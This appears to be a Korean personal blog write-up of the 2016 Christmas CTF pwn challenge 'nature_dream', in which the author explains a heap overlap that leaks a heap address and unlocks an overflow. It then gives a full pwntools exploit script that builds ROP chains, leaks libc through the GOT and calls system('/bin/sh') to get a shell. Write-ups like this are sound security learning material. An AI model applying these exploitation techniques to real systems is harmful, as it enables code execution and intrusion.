튜기's blogggg

2016 크리스마스CTF nature_dream

by St1tch


이 문제는 한달 전 크리스마스CTF에 나왔던 문제였다.

당시에 아마 시간이 부족했는지 후반에 문제가 나왔는지 기억은 안나는데, 아마 푼팀이 한팀도 없었던 걸로 기억한다. 

킵 해뒀다가 생각나서 풀어보았다.



대략 실행시키면 위와 같이 이름을 쓰게되고 여러가지 기능이 있다.


간단히 설명을 하면 처음에 500원을 주는데 물고기를 마리당 200원에 판다.

물고기를 사서 먹이를 줘서 키운다음에 다시팔면 돈을 벌 수 있다.



이렇게 해서 돈을 9999999보다 많이 벌게 되면
힙영역을 100바이트 overwrite 할 수있는 setBowlName 함수를 실행할 수 있게된다.


여기서 문제는 돈을 9999999만큼 벌려면 물고기를 사서 키우고 팔고를 계속 반복해야하는데

메뉴선택은 100번으로 제한되어 있다.


따라서 다른 방법을 통해 돈을 올려야한다.




생성자부분을 잘 살펴보면 물고기를 17마리를 사면, 

17번째 사게되는 물고기에 할당되는 힙주소가 내가가진 돈이 저장되있는 곳을 overwrite한다.


이를통해 heap주소를 leak할 수 있고, 

돈이 heap주소가 되기때문에 9999999보다 커져서 Bowl의 이름을 100바이트 overwrite할 수 있게된다.


물고기를 17마리 사려면 적어도 3400원 이상의 돈이 필요하고 일일이 할 수 없기 때문에,

간단한 알고리즘?을 짜서 항상 17마리를 살 수있게 코드를 짠 뒤 분석을 하였다.




Change Fish name함수나 Change Fish ascii함수 내에는 

위와 같은 과정을 거쳐서 함수를 실행을 하는 루틴이있다.


여기서 fake Fish 구조체를 하나 만들어서 원하는 함수를 호출할 수 있다.

이제 여기서 부터는 부지런히 ROP페이로드를 짜야한다.


나 같은 경우에는 overwrite하기전에 10번째 물고기의 ascii를 처음에 입력하는 name의 주소 -0x10으로 설정을 했고, (위 과정에서 가젯을 실행시키기위해)

overwrite를 통해 got leak, read함수를 실행시키기 위한 rop payload를 넣었다.

근데 길이제한이 100바이트이기 때문에 name 뒤쪽에도 rop payload를 넣고,  중간에 pop rsp, 가젯을 넣어 이 쪽으로 연결을 시켜주었다.


필요한 가젯이 몇 개 없어서, 문제를 푸는데 좀 까다로웠다.

레지스터를 한개한개 설정을 해서 read함수를 실행시켜야했다.

그리고 read함수를 한번호출해서는 쉘이 따지지않았다.

아마 stdin버퍼가 비워지지 않아서 그런거 같았고, read함수를 두번 호출시키고

두번째 호출때는 pause를 통해, stdin버퍼가 첫번째 read호출 때 덮어씌워지지 않게 하니 쉘이 따졌다.



from pwn import *

context.log_level = 'info'

def command(token, *args) :
    s.recvuntil(token)
    for i in args :
        i = str(i)
        s.sendline(i)
        sleep(0.3)

fast = lambda token, *args : command(token, *args)
name = lambda name : fast(':', name)
buy = lambda : fast('>>>>', 1)
sell = lambda : fast('>>>>', 2)
show = lambda : fast('>>>>', 6)
rich = lambda payload : fast('>>>>', 7, payload)
c_name = lambda num, name : fast('>>>>', 8, num, name)
c_ascii = lambda num, asc : fast('>>>>', 9, num, asc)

def test():
    pid = util.proc.pidof(s)
    log.success('exploitable! {}'.format(pid))
    pause()

def feed(num):
    maps = ['No', 'Fully']
    for i in range(num):
        buy()
    while True:
        tmp = s.recvuntil('Exit')
        if any([i in tmp for i in maps]):
            sell()
            break
        s.sendline('3')

def solver():
    pop_rdi = 0x4030d3
    gadget = 0x4030cf   #pop rbp, r15, r15; ret
    gadget2 = 0x4030B0  #__libc_csu_init+64
    pop_rbp = 0x4012e0
    pop_rdi = 0x4030d3
    pop_r13_rbp = 0x403065
    pop_rdx_rbp = 0x4017bb
    pop_rsp_rbp = 0x40240f
    pop_rsi_r15 = 0x4030d1
    pop_r14_r15 = 0x4030d0
    pop_r12_rbp = 0x40240e
    read_plt = 0x4011a8
    puts_plt = 0x401188
    puts_got = 0x604f10
    dummy = 'abcdabcd'
    #--------------------------------------------------------------

    pay = p64(gadget)
    #set register
    pay += p64(pop_r13_rbp)
    pay += p64(0x100)
    pay += p64(pop_rbp)
    pay += p64(pop_rdx_rbp)
    pay += p64(0)
    pay += dummy
    #first read
    pay += p64(gadget2)
    pay += p64(pop_rdi)
    pay += p64(0)
    pay += p64(read_plt)
    #second read
    pay += p64(gadget2)
    pay += p64(pop_rdi)
    pay += p64(0)
    pay += p64(read_plt)

    name(pay)
    #--------------------------------------------------------------

    log.info('Feeding Fish to rich')
    for i in range(1,4):
        feed(i)

    show()
    money = eval(s.recvuntil('$').split()[-1].strip('$'))
    if money < 3400:
        s.close()
        log.failure('no money.')
        return False

    for i in range(17):
        buy()

    show()
    heap = eval(s.recvuntil('$').split()[-1].strip('$'))
    name_addr = heap - 3056
    if heap < 9999999:
        s.close()
        log.failure('no heap addr.')
        return False
    log.info('heap addr = {}'.format(hex(heap)))
    log.info('name addr = {}'.format(hex(name_addr)))

    test()

    #--------------------------------------------------------------
    log.info('overwrite fish name')
    c_ascii(10, p64(name_addr-0x10))

    #--------------------------------------------------------------
    log.info('leak, read rop payload2')
    pay = p64(pop_rdi)
    pay += p64(puts_got)
    pay += p64(puts_plt)

    pay += p64(pop_r14_r15)
    pay += p64(name_addr)
    pay += p64(name_addr)
    pay += p64(pop_r12_rbp)
    pay += p64(name_addr+24)
    pay += p64(0)
    pay += p64(pop_rsp_rbp)
    pay += p64(name_addr)
    pay += p64(heap - 832)

    rich(pay)

    #--------------------------------------------------------------
    log.info('execute rop payloads')
    s.recvuntil('>>>>')
    c_name(10, p64(0x402ac9)) #rop payloads execute in this point
    s.recvuntil('>>>> ')
    puts_addr = u64(s.recv(6).ljust(8, '\x00'))
    offset = puts_addr - libc.symbols['puts']
    system = offset + libc.symbols['system']
    binsh = offset + list(libc.search('/bin/sh'))[0]

    #--------------------------------------------------------------
    log.info('send last payload!')
    pause()
    pay = 'X' * 120
    pay += p64(pop_rdi)
    pay += p64(binsh)
    pay += p64(system)
    s.send(pay)

    return True

if __name__ == '__main__' :
    while True:
        local = True
        libc = ELF('libc')
        if local :
            s = process('./Fish2')
        else :
            s = remote('kimtae.xyz', 12345)

        if solver():
            s.interactive()
            break



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기